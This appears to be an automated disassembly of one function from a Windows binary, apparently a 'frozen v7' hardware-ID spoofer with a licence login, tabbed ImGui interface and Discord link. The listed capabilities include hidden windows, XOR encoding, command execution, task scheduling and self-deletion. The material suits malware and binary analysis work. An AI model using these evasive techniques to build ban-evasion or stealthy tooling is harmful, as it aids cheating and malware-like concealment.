Function at 0x140040790
Capabilities:
Create process on windows
Encode data using xor
Execute command
Hide graphical window
Schedule task via at
Self delete
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x3d8]
sub rsp, 0x4a0
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
movaps xmmword [rax - 0x88], xmm10
movaps xmmword [rax - 0x98], xmm11
movaps xmmword [rax - 0xa8], xmm12
movaps xmmword [rax - 0xb8], xmm13
movaps xmmword [rax - 0xc8], xmm14
movaps xmmword [rax - 0xd8], xmm15
lea rcx, [0x140105620]
call fcn.140058b00
lea rcx, [0x140105620]
call fcn.1400548e0
test al, al
je 0x140040817
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rbp + 0x280], 0x50
mov dword [rbp + 0x284], 0x40
lea rax, [0x1400490b0]
mov qword [rbp + 0x288], rax
xor r13d, r13d
mov qword [rbp + 0x290], r13
mov qword [rbp + 0x298], r13
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x2a0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rbp + 0x2a8], rax
mov qword [rbp + 0x2b0], r13
lea rdi, str.Loader
mov qword [rbp + 0x2b8], rdi
mov qword [rbp + 0x2c0], rdi
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x2c8], rax
lea rcx, [rbp + 0x280]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r14d, 1
mov ecx, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
lea ebx, [rax - 0xca]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x133
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], 0x195
mov dword [rsp + 0x30], 0x267
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
mov r9d, 0x80000000
mov r8, rdi
mov rdx, qword [rbp + 0x2c0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov r12, rax
lea edx, [r13 - 0x14]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongW]
bts eax, 0x13
mov r8d, eax
lea edx, [r13 - 0x14]
mov rcx, r12
call qword [sym.imp.USER32.dll_SetWindowLongA]
lea r9d, [r13 + 2]
mov r8b, 0xff
xor edx, edx
mov rcx, r12
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400cfad0]
movdqu xmmword [rbp + 0x2d8], xmm0
lea rdx, [rbp + 0x2d8]
mov rcx, r12
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
lea rdx, [rbp + 0x1e0]
mov rcx, r12
call qword [sym.imp.USER32.dll_GetWindowRect]
mov qword [rbp + 0x1a4], r13
mov qword [rbp + 0x1b8], 2
mov qword [rbp + 0x1d0], 2
mov qword [rbp + 0x190], r13
mov dword [rbp + 0x1a0], Ordinal_33
mov dword [rbp + 0x198], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x19c], r14d
mov dword [rbp + 0x1b4], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1ac], r14
mov qword [rbp + 0x1c8], r14
mov dword [rbp + 0x3f8], 0xb000
mov dword [rbp + 0x3fc], 0xa000
lea rbx, [0x140105920]
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x3f0]
mov qword [rsp + 0x50], rax
lea rdi, [0x140105918]
mov qword [rsp + 0x48], rdi
lea rsi, [0x140105910]
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0x190]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x3f8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
cmp eax, 0x887a0004
jne 0x140040ac6
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x3f0]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0x190]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x3f8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r13 + 5]
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x140040aeb
call fcn.140049030
mov rdx, qword [rbp + 0x298]
mov rcx, qword [rbp + 0x2c0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r14d
jmp 0x140048fdd
mov rcx, qword [0x140105910]
mov rax, qword [rcx]
lea r9, [rbp + 0x98]
lea r8, [0x1400ce730]
xor edx, edx
call qword [rax + 0x48]
mov rcx, qword [0x140105918]
mov rax, qword [rcx]
lea r9, [0x140105908]
xor r8d, r8d
mov rdx, qword [rbp + 0x98]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x98]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov edx, 0xa
mov rcx, r12
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r12
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rdi, qword [0x140105590]
test rdi, rdi
je 0x140040b5c
inc dword [rdi + 0xf4]
mov ecx, 0x5e48
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 0x3f8], rax
lea rcx, [rbp + 0x3f0]
mov qword [rbp + 0x160], rcx
mov qword [rbp + 0x158], rax
test rax, rax
je 0x140040b94
xor edx, edx
mov rcx, rax
call fcn.1400019e0
jmp 0x140040b97
mov rax, r13
mov qword [0x140105590], rax
call fcn.140005c40
test rdi, rdi
je 0x140040bb1
mov qword [0x140105590], rdi
jmp 0x140040bb8
mov rdi, qword [0x140105590]
test rdi, rdi
jne 0x140040bde
mov r8d, 0x102b
lea rdx, str.C:UsersJanDesktop_frozen_v7_spooferimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rdi, qword [0x140105590]
or dword [rdi + 8], 3
xor ecx, ecx
call fcn.140026de0
mov qword [rbp + 0x1f0], 0xffffffffffffffff
mov qword [rbp + 0x1f8], 0xffffffffffffffff
mov qword [rbp + 0x200], 0xffffffffffffffff
mov qword [rbp + 0x208], 0xffffffffffffffff
mov dword [rbp + 0x210], 0xffffffff
mov qword [rbp + 0x214], 0xfffffffffffffffd
mov dword [rbp + 0x21c], 0xffffffff
mov qword [rbp + 0x220], r13
mov qword [rsp + 0x30], r13
lea rax, [0x1401055b8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x1f0]
mov r8d, 0xf8d9
lea rdx, [0x1400f4ca0]
mov rcx, qword [0x140105918]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r13
lea rax, [0x1401055b0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x1f0]
mov r8d, 0x3917
lea rdx, [0x1400e1b30]
mov rcx, qword [0x140105918]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov qword [rsp + 0x30], r13
lea rax, [0x1401055c0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x1f0]
mov r8d, 0x221e
mov rdx, qword [0x1401055c0]
mov rcx, qword [0x140105918]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, r12
call fcn.14003c4c0
mov r15, qword [0x140105920]
mov r14, qword [0x140105918]
mov rax, qword [0x140105590]
test rax, rax
jne 0x140040d23
mov r8d, 0x102b
lea rdx, str.C:UsersJanDesktop_frozen_v7_spooferimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140105590]
lea rsi, [rax + 8]
cmp qword [rsi + 0x98], 0
je 0x140040d52
mov r8d, 0x221
lea rdx, str.C:UsersJanDesktop_frozen_v7_spoofer_backendsimgui_impl_dx11.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140105590]
test rax, rax
je 0x140040d5d
inc dword [rax + 0xf4]
mov ecx, 0x78
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
mov qword [rbp + 0x3f0], rax
test rax, rax
je 0x140040dab
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
movups xmmword [rbx + 0x60], xmm0
mov qword [rbx + 0x70], rax
mov dword [rbx + 0x70], 0x1388
mov dword [rbx + 0x74], 0x2710
jmp 0x140040dae
mov rbx, r13
mov qword [rsi + 0x98], rbx
lea rax, str.imgui_impl_dx11
mov qword [rsi + 0x88], rax
or dword [rsi + 4], 8
mov qword [rbp + 0x3f8], r13
mov qword [rbp + 0x98], r13
mov qword [rbp + 0xa0], r13
mov rax, qword [r14]
lea r8, [rbp + 0x3f8]
lea rdx, [0x1400cd5f0]
mov rcx, r14
call qword [rax]
test eax, eax
jne 0x140040e46
mov rcx, qword [rbp + 0x3f8]
mov rax, qword [rcx]
lea r8, [rbp + 0x98]
lea rdx, [0x1400cd600]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x140040e46
mov rcx, qword [rbp + 0x98]
mov rax, qword [rcx]
lea r8, [rbp + 0xa0]
lea rdx, [0x1400cd610]
call qword [rax + Ordinal_50]
test eax, eax
jne 0x140040e46
mov qword [rbx], r14
mov qword [rbx + 8], r15
mov rax, qword [rbp + 0xa0]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp + 0x3f8]
test rcx, rcx
je 0x140040e58
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x140040e6a
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
lea rbx, [0x1400cc698]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x1400cf9f4]
mov r8d, 0xf850
lea rdx, str.OTTO
mov rcx, qword [rdi + 0x58]
call fcn.14002bf70
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x1400cfa00]
mov r8d, 0xf850
lea rdx, str.OTTO
mov rcx, qword [rdi + 0x58]
call fcn.14002bf70
mov qword [rbp + 0x160], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r13
movss xmm3, dword [0x1400cfa28]
mov r8d, 0xf850
lea rdx, str.OTTO
mov rcx, qword [rdi + 0x58]
call fcn.14002bf70
mov r15, rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r13
movss xmm11, dword [0x1400cf9f0]
movaps xmm3, xmm11
mov r8d, 0xf850
lea rdx, str.OTTO
mov rcx, qword [rdi + 0x58]
call fcn.14002bf70
mov r13, rax
mov qword [rsp + 0x28], rbx
xor esi, esi
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm11
mov r8d, 0x1a24
lea rdx, [0x1400e0100]
mov rcx, qword [rdi + 0x58]
call fcn.14002bf70
mov qword [0x1401055a0], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rsi
movss xmm3, dword [0x1400cfa0c]
mov r8d, 0x1a24
lea rdx, [0x1400e0100]
mov rcx, qword [rdi + 0x58]
call fcn.14002bf70
mov qword [rbp + 0x158], rax
xor r14b, r14b
mov esi, dword [reloc.WS2_32.dll_accept]
xorps xmm7, xmm7
movss xmm8, dword [0x1400cf9d4]
movss xmm10, dword [0x1400cf98c]
movss xmm15, dword [0x1400cfa44]
movss xmm9, dword [0x1400cfabc]
movss xmm6, dword [0x1400cfa3c]
movss xmm12, dword [0x1400cf9b8]
movss xmm13, dword [0x1400cf9e8]
movss xmm14, dword [0x1400cf9fc]
xor edi, edi
mov ebx, 1
nop dword [rax]
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x190]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14004105f
nop dword [rax]
lea rcx, [rbp + 0x190]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x190]
call qword [sym.imp.USER32.dll_DispatchMessageW]
movzx r14d, r14b
cmp dword [rbp + 0x198], 0x12
cmove r14d, ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x190]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x140041010
test r14b, r14b
jne 0x140048e14
mov r8d, dword [0x140105900]
test r8d, r8d
je 0x140041111
mov r9d, dword [0x140105904]
test r9d, r9d
je 0x140041111
mov rcx, qword [0x140105908]
test rcx, rcx
je 0x1400410a6
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140105908], rdi
mov r8d, dword [0x140105900]
mov r9d, dword [0x140105904]
mov rcx, qword [0x140105910]
mov rax, qword [rcx]
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor edx, edx
call qword [rax + 0x68]
mov dword [0x140105904], edi
mov dword [0x140105900], edi
mov rcx, qword [0x140105910]
mov rax, qword [rcx]
lea r9, [rbp + 0x3f8]
lea r8, [0x1400ce730]
xor edx, edx
call qword [rax + 0x48]
mov rcx, qword [0x140105918]
mov rax, qword [rcx]
lea r9, [0x140105908]
xor r8d, r8d
mov rdx, qword [rbp + 0x3f8]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x3f8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rbx, qword [0x140105590]
test rbx, rbx
je 0x14004112b
mov rbx, qword [rbx + 0xa0]
test rbx, rbx
jne 0x140041148
jmp 0x14004112e
mov rbx, rdi
mov r8d, 0x251
lea rdx, str.C:UsersJanDesktop_frozen_v7_spoofer_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], 0
jne 0x140041154
call fcn.14003be50
call fcn.14003d240
call fcn.1400080f0
xor edx, edx
lea r8d, [rdx + 0x1f]
lea rcx, str.Hello__world_
call fcn.14000dbb0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov qword [rbp + 0xa0], 0
mov rax, qword [0x140105590]
xor r8d, r8d
lea rdx, [rbp + 0xa0]
mov rcx, qword [rax + 0x3ed0]
call fcn.140011150
mov dword [rbp + 0x98], 0x44304000
mov dword [rbp + 0x9c], 0x43cf8000
xor r8d, r8d
lea rdx, [rbp + 0x98]
mov rcx, qword [0x140105590]
mov rcx, qword [rcx + 0x3ed0]
call fcn.1400112e0
mov rdx, qword [0x140105590]
mov rax, qword [rdx + 0x3ed0]
mov byte [rax + 0xb8], 1
mov rcx, qword [rdx + 0x3ed0]
mov rax, qword [rcx + 0x298]
mov qword [0x1401055d8], rax
movss xmm0, dword [rcx + 0x20]
movss xmm1, dword [rcx + 0x24]
movss dword [0x1401055c8], xmm0
movss dword [0x1401055cc], xmm1
mov byte [rcx + 0xb8], 1
mov rax, qword [rdx + 0x3ed0]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, xmm8
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm8
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [0x1400cfc00]
movups xmmword [rbp + 0x48], xmm1
mov dword [rbp + 0x168], 0x3f800000
mov dword [rbp + 0x16c], 0x3f800000
mov qword [rbp + 0x170], 0
mov dword [rbp + 0x178], 0x42f00000
mov dword [rbp + 0x17c], 0x42f00000
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x168]
lea r8, [rbp + 0x170]
lea rdx, [rbp + 0x178]
mov rcx, qword [0x1401055b8]
call fcn.1400350e0
cmp dword [0x1401055d0], 0
jne 0x1400415bd
mov rcx, r15
mov qword [rbp + 0x3f0], rcx
mov rdi, qword [0x140105590]
mov rbx, r15
test r15, r15
jne 0x140041347
mov rcx, qword [rdi + 0x68]
mov rbx, rcx
test rcx, rcx
jne 0x140041340
mov rbx, qword [rdi + 0x58]
cmp dword [rbx + 0x58], ecx
jg 0x140041336
mov r8d, 0x70b
lea rdx, str.C:UsersJanDesktop_frozen_v7_spooferimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax]
mov rbx, rcx
mov qword [rbp + 0x3f0], rcx
call fcn.140010f10
lea rcx, [rdi + 0x4838]
lea rdx, [rbp + 0x3f0]
call fcn.14001e5e0
mov rax, qword [rdi + 0x3ed0]
mov rdx, qword [rbx + 0x40]
mov rdx, qword [rdx + 8]
mov rcx, qword [rax + 0x298]
call fcn.140027ef0
mov rcx, qword [0x140105590]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x1400cfa24]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm15
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
lea rcx, str.FROZEN
call fcn.140033080
movaps xmm1, xmm9
movaps xmm0, xmm7
call fcn.140014ea0
movaps xmm4, xmmword [0x1400cfbf0]
movups xmmword [rbp + 0x48], xmm4
lea rdx, [0x1400cd9c0]
lea rcx, [rbp + 0x48]
call fcn.1400331c0
call fcn.140011020
mov rcx, qword [0x140105590]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, xmm15
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm15
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
or dword [rcx + 0x4758], 1
mov dword [rcx + 0x475c], 0x439b0000
mov qword [rbp + 0xa8], 0
xor edi, edi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 0x40]
lea rbx, [0x140105950]
mov r8, rbx
lea rdx, str.License_Key
lea rcx, str.license
call fcn.140037c10
mov rcx, qword [0x140105590]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x1400cfa68]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm15
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0xb0], 0x439b0000
mov dword [rbp + 0xb4], 0x42480000
lea rdx, [rbp + 0xb0]
lea rcx, str.LOGIN
call fcn.140033a30
test al, al
je 0x1400415bd
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x60], rdi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], dil
jne 0x140041557
mov rdx, rbx
lea rcx, [rbp + 0x48]
call fcn.14004a9e0
lea rdx, [rbp + 0x48]
lea rcx, [0x140105620]
call fcn.14005a0f0
cmp byte [0x140105838], dil
je 0x140041591
mov dword [0x1401055d0], 1
jmp 0x1400415bd
lea rdx, [0x140105840]
cmp qword [0x140105858], 0xf
cmova rdx, qword [0x140105840]
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Authentication
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
cmp dword [0x1401055d0], 1
jne 0x140048c60
mov rcx, r13
mov qword [rbp + 0x3f0], rcx
mov rdi, qword [0x140105590]
mov rbx, r13
test r13, r13
jne 0x140041634
mov rcx, qword [rdi + 0x68]
mov rbx, rcx
test rcx, rcx
jne 0x14004162d
mov rbx, qword [rdi + 0x58]
cmp dword [rbx + 0x58], ecx
jg 0x140041623
mov r8d, 0x70b
lea rdx, str.C:UsersJanDesktop_frozen_v7_spooferimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax]
mov rbx, rcx
mov qword [rbp + 0x3f0], rcx
call fcn.140010f10
lea rcx, [rdi + 0x4838]
lea rdx, [rbp + 0x3f0]
call fcn.14001e5e0
mov rax, qword [rdi + 0x3ed0]
mov rdx, qword [rbx + 0x40]
mov rdx, qword [rdx + 8]
mov rcx, qword [rax + 0x298]
call fcn.140027ef0
mov rbx, qword [0x140105590]
lea rcx, [rbx + 0x4828]
movss xmm1, dword [rbx + 0x381c]
movss xmm0, dword [rbx + 0x3820]
mov dword [rbp + 0x180], reloc.WS2_32.dll_ntohl
movss dword [rbp + 0x184], xmm1
movss dword [rbp + 0x188], xmm0
lea rdx, [rbp + 0x180]
call fcn.14001e280
mov dword [rbx + 0x381c], 0x40800000
mov dword [rbx + 0x3820], 0x41c00000
mov rcx, qword [0x140105590]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, xmm15
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, xmm7
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
call fcn.140015100
mov dword [rbp + 0xb8], 0x43020000
mov dword [rbp + 0xbc], 0x41c80000
cmp dword [0x1401055a8], 0
sete r8b
lea r9, [rbp + 0xb8]
lea rdx, str.Spoofer
lea rcx, [0x1400c31b4]
call fcn.140033d00
test al, al
je 0x140041761
mov dword [0x1401055a8], 0
movaps xmm0, xmmword [0x1400cfbf0]
movups xmmword [rbp + 0x48], xmm0
lea rcx, [rbp + 0x48]
call fcn.140003cd0
movss xmm2, dword [0x1401055cc]
addss xmm2, dword [0x1400cfa54]
movss xmm1, dword [0x1401055c8]
movaps xmm0, xmm1
addss xmm0, xmm6
movss dword [rbp + 0xc0], xmm0
movss dword [rbp + 0xc4], xmm2
addss xmm1, xmm8
movss dword [rbp + 0xc8], xmm1
movss dword [rbp + 0xcc], xmm2
movss dword [rsp + 0x20], xmm10
mov r9d, eax
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0xc8]
mov rcx, qword [0x1401055d8]
call fcn.14002a5f0
mov dword [rbp + 0xd0], 0x43020000
mov dword [rbp + 0xd4], 0x41c80000
cmp dword [0x1401055a8], 1
sete r8b
lea r9, [rbp + 0xd0]
lea rdx, str.Tutorial
lea rcx, [0x1400c31b8]
call fcn.140033d00
test al, al
je 0x140041824
mov dword [0x1401055a8], 1
movaps xmm0, xmmword [0x1400cfbf0]
movups xmmword [rbp + 0x48], xmm0
lea rcx, [rbp + 0x48]
call fcn.140003cd0
movss xmm2, dword [0x1401055cc]
addss xmm2, dword [0x1400cfa60]
movss xmm1, dword [0x1401055c8]
movaps xmm0, xmm1
addss xmm0, xmm6
movss dword [rbp + 0xd8], xmm0
movss dword [rbp + 0xdc], xmm2
addss xmm1, xmm8
movss dword [rbp + 0xe0], xmm1
movss dword [rbp + 0xe4], xmm2
movss dword [rsp + 0x20], xmm10
mov r9d, eax
lea r8, [rbp + 0xd8]
lea rdx, [rbp + 0xe0]
mov rcx, qword [0x1401055d8]
call fcn.14002a5f0
mov dword [rbp + 0xe8], 0x43020000
mov dword [rbp + 0xec], 0x41c80000
cmp dword [0x1401055a8], 2
sete r8b
lea r9, [rbp + 0xe8]
lea rdx, str.Checker
lea rcx, [0x1400c31bc]
call fcn.140033d00
test al, al
je 0x1400418e7
mov dword [0x1401055a8], 2
call fcn.140015250
call fcn.140011020
mov ecx, 1
call fcn.140004230
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov qword [rbp + 0x3f0], rax
mov rdi, qword [0x140105590]
mov rbx, rax
test rax, rax
jne 0x14004195b
mov rcx, qword [rdi + 0x68]
mov rbx, rcx
test rcx, rcx
jne 0x140041954
mov rbx, qword [rdi + 0x58]
cmp dword [rbx + 0x58], ecx
jg 0x14004194a
mov r8d, 0x70b
lea rdx, str.C:UsersJanDesktop_frozen_v7_spooferimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax]
mov rbx, rcx
mov qword [rbp + 0x3f0], rcx
call fcn.140010f10
lea rcx, [rdi + 0x4838]
lea rdx, [rbp + 0x3f0]
call fcn.14001e5e0
mov rax, qword [rdi + 0x3ed0]
mov rdx, qword [rbx + 0x40]
mov rdx, qword [rdx + 8]
mov rcx, qword [rax + 0x298]
call fcn.140027ef0
mov rcx, qword [0x140105590]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x1400cfa7c]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400cfa18]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
lea rcx, [0x1400c31c0]
call fcn.140033080
mov rcx, qword [0x140105590]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
addss xmm1, dword [0x1400cfa7c]
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
addss xmm0, dword [0x1400cfa18]
movss dword [rax + 0x100], xmm0
movss dword [rax + 0x104], xmm1
mov byte [rax + 0x141], 1
mov dword [rbp + 0xf0], 0x41f00000
mov dword [rbp + 0xf4], 0x41f00000
lea rdx, [rbp + 0xf0]
lea rcx, [0x1400cda20]
call fcn.1400342f0
xor edi, edi
test al, al
je 0x140041aa2
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str.https:__discord.gg_frozenfn
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.140011020
movaps xmm0, xmmword [0x1400cfbf0]
movups xmmword [rbp + 0x48], xmm0
lea rcx, [rbp + 0x48]
call fcn.140003cd0
movss xmm2, dword [0x1401055cc]
movaps xmm1, xmm2
addss xmm1, dword [0x1400cfa8c]
movss xmm0, dword [0x1401055c8]
addss xmm0, dword [0x1400cfa40]
movss dword [rbp + 0xf8], xmm0
movss dword [rbp + 0xfc], xmm1
movss dword [rbp + 0x100], xmm0
movss dword [rbp + 0x104], xmm2
movss dword [rsp + 0x20], xmm10
mov r9d, eax
lea r8, [rbp + 0xf8]
lea rdx, [rbp + 0x100]
mov rcx, qword [0x1401055d8]
call fcn.14002a5f0
cmp dword [0x1401055a8], 0
jne 0x1400489c7
mov rcx, qword [0x140105590]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x24]
